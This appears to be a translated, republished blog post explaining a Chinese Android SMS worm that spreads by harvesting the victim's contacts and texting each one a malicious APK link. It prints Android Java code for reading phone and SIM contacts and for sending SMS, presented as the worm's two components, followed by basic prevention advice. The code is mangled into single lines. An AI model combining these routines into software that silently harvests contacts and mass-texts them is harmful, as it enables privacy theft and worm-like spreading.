Talk about the recently popular android mobile phone virus

Source: Internet
Author: User

Talk about the recently popular android mobile phone virus

"XXX (host name): ht: // ********** XXshenqi.apk" is a recent mobile phone virus outbreak. The host receives such a text message, it starts with the name stored in the sender's mobile phone address book and then allows the recipient to open a webpage link.

Actually, a friend familiar with android can understand the principle of the virus at a glance. The following describes the principles and prevention methods of the virus.

 

The virus has two steps:

1. Obtain the contact name and number in the address book.

2. automatically send text messages in the tone of the host.

 

1. Obtain the contacts in the address book.

 

Contacts in Android are stored in an SQLite database. If you are interested, you can use the re File Manager to view them.

The path is/data/com. android. providers. contacts/databases/contacts2.db.

Generally, we only need to care about these tables.

1. contacts table
_ Id: The table ID. It is mainly used for other tables to find the corresponding data through the ID in the contacts table.
Display_name: Contact Name
Photo_id: the ID of the profile picture. If no profile picture is set, this field is blank.
Times_contacted: number of calls recorded
Last_time_contacted: The last call time.
Lookup: it is a persistent storage because the user may change its name but it cannot be changed.

2. data Table

Raw_contact_id: You can use raw_contact_id to find the data in the raw_contact table.

From data1 to data15, the following information is saved: contact name, contact phone number, email remarks, and so on.

3. raw_contact table
Version: version number, used to listen for changes
Deleted: indicates the deletion flag. The value 0 indicates that the row of data has been deleted by default.
Display_name: Contact Name
Last_time_contacts: last contact time

 

/** Get mobile phone Address Book Contact Information **/private void getPhoneContacts () {ContentResolver resolver = mContext. getContentResolver (); // obtain the mobile phone contact Cursor phoneCursor = resolver. query (Phone. CONTENT_URI, PHONES_PROJECTION, null); if (phoneCursor! = Null) {while (phoneCursor. moveToNext () {// obtain the mobile phone number String phoneNumber = phoneCursor. getString (PHONES_NUMBER_INDEX); // when the mobile phone number is empty or the field is empty, skip the current loop if (TextUtils. isEmpty (phoneNumber) continue; // obtain the contact name String contactName = phoneCursor. getString (PHONES_DISPLAY_NAME_INDEX); // obtain the contact ID Long contactid = phoneCursor. getLong (PHONES_CONTACT_ID_INDEX); // obtain the Contact Profile ID Long photoid = phoneCursor. getLong (PHONES_PHOTO_ID_INDEX); // obtain the Contact Profile Bitamp Bitmap contactPhoto = null; // if the photoid is greater than 0, the contact has an Avatar. if no Avatar is set for this person, the default if (photoid> 0) {Uri uri = ContentUris is. withAppendedId (ContactsContract. contacts. CONTENT_URI, contactid); InputStream input = ContactsContract. contacts. openContactPhotoInputStream (resolver, uri); contactPhoto = BitmapFactory. decodeStream (input);} else {contactPhoto = BitmapFactory. decodeResource (getResources (), R. drawable. contact_photo);} mContactsName. add (contactName); mContactsNumber. add (phoneNumber); mContactsPhonto. add (contactPhoto);} phoneCursor. close ();}}

/** Get the contact information of the SIM card on your mobile phone **/private void getSIMContacts () {ContentResolver resolver = mContext. getContentResolver (); // obtain the Sims Card Contact Uri uri = Uri. parse (content: // icc/adn); Cursor phoneCursor = resolver. query (uri, PHONES_PROJECTION, null); if (phoneCursor! = Null) {while (phoneCursor. moveToNext () {// obtain the mobile phone number String phoneNumber = phoneCursor. getString (PHONES_NUMBER_INDEX); // when the mobile phone number is empty or the field is empty, skip the current loop if (TextUtils. isEmpty (phoneNumber) continue; // obtain the contact name String contactName = phoneCursor. getString (PHONES_DISPLAY_NAME_INDEX); // No contact profile mContactsName In the SIM card. add (contactName); mContactsNumber. add (phoneNumber);} phoneCursor. close ();}}

Ii. Automatic Message sending

 

The following is the code for automatically sending text messages. An EditText box is provided to edit the text message content, a send button is used to send the text message, and a clear button is used to clear the EditText you just edited. Of course, the virus does not actually have these interfaces. After obtaining the contact, it directly edits the text message with the name and number obtained above, and then sends it out.

 

Public class SMSActivity extends Activity {private EditText messageEditText; private Button sendBtn; private Button clearBtn; @ Override protected void onCreate (Bundle savedInstanceState) {super. onCreate (savedInstanceState); setContentView (R. layout. sms); messageEditText = (EditText) findViewById (R. id. messageedittext); sendBtn = (Button) findViewById (R. id. sendbtn); clearBtn = (Button) findViewById (R. id. clearbtn); sendBtn. setOnClickListener (new OnClickListener () {@ Override public void onClick (View v) {// receive phone number data Bundle bundle = getIntent (). getExtras (); String phoneNum = bundle. getString (phoneNum); // get the sent content String message = messageEditText. getText (). toString (); if (phoneNum = null |. equals (phoneNum) {Toast. makeText (SMSActivity. this, Please input SMS Content !, Toast. LENGTH_SHORT ). show (); return ;}// send SMS sendSMS (phoneNum, message) ;}}); // empty message input box clearBtn. setOnClickListener (new OnClickListener () {@ Override public void onClick (View v) {messageEditText. setText () ;}});} private void sendSMS (String phoneNum, String message) {// initialize SmsManager = smsManager for SMS. getDefault (); PendingIntent pi = PendingIntent. getActivity (this, 0, new Intent (this, VoiceActivity. class), 0); // if the text message content length exceeds 70, it is divided into several if (message. length ()> 70) {ArrayList
 
  
Msgs = smsManager. divideMessage (message); for (String msg: msgs) {smsManager. sendTextMessage (phoneNum, null, msg, pi, null) ;}} else {smsManager. sendTextMessage (phoneNum, null, message, pi, null);} Toast. makeText (this, Send Message Success !, Toast. LENGTH_SHORT). show ();}}
 

 

 

Iii. virus prevention
If you see this, you will find that your privacy can be snooped up at will. Yes, when you use a smartphone, there will be no privacy. Now, any app will obtain your privacy data. Not that you will not be hacked, but that you will not be hacked ····

The best way to prevent viruses is not to install software with unknown paths, and do not give the software root permission easily. This ensures that your data is only in the hands of regular large companies, then you only need to pray that your data should not be leaked by them one day ····

Let's take a look at the following. There are 16 software on my mobile phone that have the permission to send text messages, 30 have the permission to access contacts and call record data, and 15 even can listen to phone calls !! Forget it. I have no value even if I have been listened to =!

END

 

 

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.